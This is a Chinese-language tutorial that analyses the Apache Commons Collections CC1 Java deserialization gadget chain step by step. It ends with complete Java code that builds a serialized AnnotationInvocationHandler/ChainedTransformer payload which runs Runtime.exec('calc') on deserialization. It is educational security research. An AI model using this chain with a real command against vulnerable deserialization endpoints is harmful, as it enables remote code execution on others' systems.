ApacheCC1反序列化分析
写在前面:
这条链路对初学者来说并不是那么简单的,大家在学习时一定要多动手调试代码,有的时候光看代码看得头大,一调试就都明白了。
一、背景介绍
首先,什么是cc1
cc全称Common-Collections
,是apache基金会的一个项目,它提供了比原生的java更多的接口和方法,比如说我们平常使用HashMap时都是无序的,而Common-Collections中为我们提供了OrderedMap
,我们可以调用OrderedMap
来构造有序的map。
二、环境搭建
在学习之前首先把环境搭建好。
由于存在漏洞的版本 commons-collections3.1-3.2.1 8u71之后已修复不可用,我这里用的是jdk8u65 。下载链接在Java 存档下载 — Java SE 8 | Oracle 中国
然后在idea 安装好maven,⾸先设置在pom.xml。
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
不报错即可。
由于我们分析时要涉及的jdk源码,所以要把jdk的源码也下载下来方便我们分析。去这个链接http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4,点击左侧zip即可。
将其解压之后,先搁一边,我们解压 jdk8u65 的 src.zip,解压完之后,我们把 openJDK 8u65 解压出来的 sun 文件夹拷贝进 jdk8u65 中,这样子就能把 .class 文件转换为 .java 文件了。
然后在idea⾥添加sdk版本把sun⽬录加⼊即可。
然后我们去sun包里面看一下代码,不再显示.class就可以了。
三、反序列化分析
首先,我们需要一点反射的前置知识,比如下面这段代码能看懂即可。
public void test1() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// 直接调用calc
// Runtime.getRuntime().exec("calc");
// 反射调用calc
Class c = Runtime.class;
Method getRuntimemethod = c.getMethod("getRuntime",null);//拿到方法
Runtime r=(Runtime)getRuntimemethod.invoke(null,null);//拿到对象
Method execmethod = r.getClass().getMethod("exec", String.class);
Object obj = execmethod.invoke(r,"calc");
}
0x01 InvokerTransformer.transform()
我们首先进入InvokerTransformer
,看一下transform
方法。
可以看到,当输入的input
不为空时,会进行通过反射机制动态地调用对象的特定方法,而getMethod和invoke方法的参数从哪里来呢,定位他的构造函数。
可以看到通过构造函数可以控制我们的参数,并且该构造方法是public的,我们可以直接访问。由此,我们得出下面的一个弹出计算器的方法。
public void test2(){
// transform
Runtime r = Runtime.getRuntime();
String methodName="exec";
Class[] paramTypes = new Class[]{String.class};
Object[] args = new Object[] {"calc"};
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName,paramTypes,args);
invokerTransformer.transform(r);
/* new InvokerTransformer("exec",new Class[]{String.class},new
Object[]{"calc"}).transform(r);*/
}
可以看到成功弹出计算器。注释的内容大家也可以看一下,这种方法也是可以直接弹出计算器的。
由此,我们找到了transform
方法,接下来我们要做的事情就是找哪里调用了该方法。
0x02 TransformedMap.checkSetValue()
经过查找,我们找到了TransformedMap
中的checkSetValue
方法。需要注意一下,这里的checkSetValue是peotected,所以要用反射的方法来调用。
接下来看看valueTransformer这个东西是从哪来的,看一下构造方法。
很好,也是可以通过构造方法传进来的,所以我们也可以控制变量,但是这里有一点,方法是protected的,只有在同一个包中才可以调用,所以我们要继续找下去,看看谁调用了TransformedMap
的构造方法。
0x03 TransformedMap.decorate()
我们在当前类中找到了decorate方法,该静态方法创建了TransformedMa
p对象,并且该方法还是公开的,所以可以直接调用。
我们接下来写个payload试一下:
public void test3() throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Runtime runtime = Runtime.getRuntime();
String methodName="exec";
Class[] paramTypes = new Class[]{String.class};
Object[] args = new Object[] {"calc"};
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName,paramTypes,args);
HashMap<String, Integer> map = new HashMap<>();
Transformer keyTransformer = null;
Transformer valueTransformer = invokerTransformer;
Map decorateMap= TransformedMap.decorate(map,keyTransformer,invokerTransformer);//拿到TransformedMap对象
Class transformedMapClass = TransformedMap.class;
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true); //因为checkSetValue是peotected
checkSetValueMethod.invoke(decorateMap,runtime);
}
我们先看代码,invokerTransforme
r就是上个payload的invokerTransformer
,没有变。
我们接下来构造TransformedMap的三个参数,处理valueTransformer
随便写就行,然后我们就拿到了TransformedMap
的对象decorateMap
,接下来就是通过反射来调用checkSetValue
方法。
接下来我们就是要找哪里调用了decorate
方法,但是很遗憾并没有突破,所以我们把目光再放回之前的checkSetValue
方法,去找哪里调用了该方法。
0x04 AbstractInputCheckedMapDecorator->MapEntry.setValue()
在TransformedMap
的父类AbstractInputCheckedMapDecorator
内部的子类MapEntry
中,我们找到了setValue方法。
这里的parent
是什么呢,我们看一下该函数所在类的构造方法:
所以,我们在进行 .decorate
方法调用,进行 Map 遍历的时候,就会走到 setValue()
当中,而 setValue()
就会调用 checkSetValue
。
我们先上payload:
public void test4(){
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = (InvokerTransformer)new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map map=new HashMap();
map.put("key","value");
Transformer keyTransformer = null;
Transformer valueTransformer = invokerTransformer;
Map<String ,String> decorateMap = TransformedMap.decorate(map,keyTransformer,invokerTransformer);
for(Map.Entry entry:decorateMap.entrySet()){
entry.setValue(runtime);
}
}
decorateMap
之前的东西和test3的都一样,不再讲述,区别是我们这里遍历了decorateMap
来触发setValue
。(注意map.put("key","value")
,要不然map里面没东西,后面进不去for循环)
decorateMap
是TransformedMap
类的,该类的entrySet
方法会调用父类的entrySet
方法。故在for循环时会进入如下方法:
首先进行判断,如果判断通过的话,就会返回一个EntrySet
的实例,而我们的isSetValueChecking()
是恒返回true的,所以也就无所谓,直接返回实例。
所以我们的entry
在这里也是来自AbstractSetDecorator
类的,所以后面才可以调到setValue
方法。效果如下:
ok,这里我们又找到了一个setValue
方法,我们可以继续向上查找,看看哪里调用了我们的setValue
,继续构造我们的链条。
0x05 AnnotationInvocationHandler.readObject()
这里我们找到了AnnotationInvocationHandler
中的readObject
方法。注意:这里的AnnotationInvocationHandler
是在sun.reflect.annotation.AnnotationInvocationHandler中的。
由于readObject
方法太长了,我们先复制过来大体看一眼。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
接下来我们看重点:
可以看到,这里再调用setValue前面还要经过两个判断,这两个判断判断了什么呢,我们先不管,先正常随便给值看看能不能过,过了最好,过不了我们再慢慢调试。
我们看一下memberValue
从哪里来,果不其然,又是构造方法:
于是乎,我们只需要在构造时把memberValue
传给他就行了,但是这个构造函数的修饰符是默认的,我们没用办法直接访问怎么办,很简单,反射。
还有一点,我们这里的构造方法的第一个参数类型是Class<? extends Annotation>
,什么是Annotation
呢,其实就是我们的注解类,先随便给一个Override
看看。
于是我们的test5如下:
public void test5() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer=(InvokerTransformer)new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map map=new HashMap();
map.put("key","value");
Transformer keyTransformer = null;
Transformer valueTransformer=invokerTransformer;
Map<Object,Object> transformedmap=TransformedMap.decorate(map,keyTransformer, valueTransformer);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true); //构造函数不是public的
Object obj = constructor.newInstance(Override.class,transformedmap);
FileOutputStream fos = new FileOutputStream("./data/apachecc1.ser");
ObjectOutputStream oos = new ObjectOutputStream((fos));
oos.writeObject(obj);
}
构造反序列化方法如下:
public void unseialize() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream("./data/apachecc1.ser");
ObjectInputStream ois = new ObjectInputStream((fis));
ois.readObject();
}
运行之后,无事发生,既没有报错也没有弹出计算器,我们此时调试看看,断点设在上面的if循环处。
这里我们直接就跳到了最下面,很显然,if循环没有进去,这里判断memberType,但是我们的memberType正好为空。
memberType
来自memberTypes
,memberTypes
来自annotationType
,annotationType
来自type
(annotationType = AnnotationType.getInstance(type);
),而type
来自我们传入构造方法的参数。大家一定要自己跟一下,否则可能比较难理解
我们这里的要求传入的注解参数,是有成员变量的,并且成员变量要和map
里面的key
对的上。(!(memberType.isInstance(value)
)
于是我们找到了SuppressWarnings注解,该注解有一个成员变量。
于是乎,我们修改我们的代码如下:
public void test5() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer=(InvokerTransformer)new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map map=new HashMap();
map.put("value","value");
Transformer keyTransformer = null;
Transformer valueTransformer=invokerTransformer;
Map<Object,Object> transformedmap=TransformedMap.decorate(map,keyTransformer, valueTransformer);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);//构造函数不是public的
Object obj = constructor.newInstance(SuppressWarnings.class,transformedmap);
FileOutputStream fos = new FileOutputStream("./data/apachecc1.ser");
ObjectOutputStream oos = new ObjectOutputStream((fos));
oos.writeObject(obj);
}
再次运行,得到结果如下:
报错,Exception in thread "main" org.apache.commons.collections.FunctorException: InvokerTransformer: The method 'exec' on 'class sun.reflect.annotation.AnnotationTypeMismatchExceptionProxy' does not exist
告诉我们找不到名为 exec
的方法。
对呀,我们看一眼我们的runtime
,都是暗的,没用用上,我们再看一下readObject
方法,里面setValue
的参数的实例居然是写死的,根本没用办法利用,什么鬼,看到这里是不是感到有点绝望,给我一个写死的我还玩什么,不得不说要佩服cc1
链的作者,这种情况下都能找到利用的方法。
0x06 解决无法传入runtime的问题
ConstantTransformer类
首先,我们找到了ConstantTransformer
类
该方法的构造函数会将传入的对象给到iConstant
,该类的transform
方法无论传入的什么对象都会返回iConstant
。
但是我们并没有办法将ConstantTransformer的实例传递给TransformedMap,或者说没有 办法建立ConstantTransformer和InvokerTransformer之间的包含关系。于是我们又来到了ChainedTransformer
类。
ChainedTransformer类
ChainedTransformer
类的transform
方法如下:
上述代码的意思是,如果给ChainedTransformer
的属性iTransformers
赋值为 ConstantTransformer
对象的话,则可以直接调用到ConstantTransformer的transform方 法,如果赋值为InvokerTransformer
对象的话,则可以直接调用到InvokerTransformer
的 transform
方法,则此时便有了一个关联关系,将Runtime
对象通过ConstantTransformer
进行赋值,然后就可以在构造链中得到Runtime
对象了。
public void test6() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map=new HashMap();
map.put("value","value");
Transformer keyTransformer = null;
Transformer valueTransformer=chainedTransformer;
Map<Object,Object> transformedmap=TransformedMap.decorate(map,keyTransformer, valueTransformer);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);//构造函数不是public的
Object obj = constructor.newInstance(SuppressWarnings.class,transformedmap);
FileOutputStream fos = new FileOutputStream("./data/apachecc1.ser");
ObjectOutputStream oos = new ObjectOutputStream((fos));
oos.writeObject(obj);
}
此时打断点逐步调试,可以看到经过transform
方法后,已经可以得到Runtime
对象。
但是此时我们只穿入了Runtime
对象,但是之前的InvokerTransformer
没有传进来,但是这个事情也是简单的,因为我们InvokerTransformer
我们需要的方法也是transform
,都是一个名字,所以他们是兼容的,再结合ChainedTransformer
的transform
的特点,上一次调用的对象是下次参数,因此我们得到如下payload:
public void test6() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map=new HashMap();
map.put("value","value");
Transformer keyTransformer = null;
Transformer valueTransformer=chainedTransformer;
Map<Object,Object> transformedmap=TransformedMap.decorate(map,keyTransformer, valueTransformer);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);//构造函数不是public的
Object obj = constructor.newInstance(SuppressWarnings.class,transformedmap);
FileOutputStream fos = new FileOutputStream("./data/apachecc1.ser");
ObjectOutputStream oos = new ObjectOutputStream((fos));
oos.writeObject(obj);
}
最后也是成功的弹出来计算器。
四、总结
经过上面的步骤,我们可以得到如下的调用链:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map().setValue()
TransformedMap.decorate()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
我自己在学习这条链路中也遇到了很多的困难,甚至有过几次半途而废的经历。然而,最终我下定决心要搞定这条链路。最后希望大家也都能动起手来写代码,调试起来,这条链路也许就变得简单起来了呢。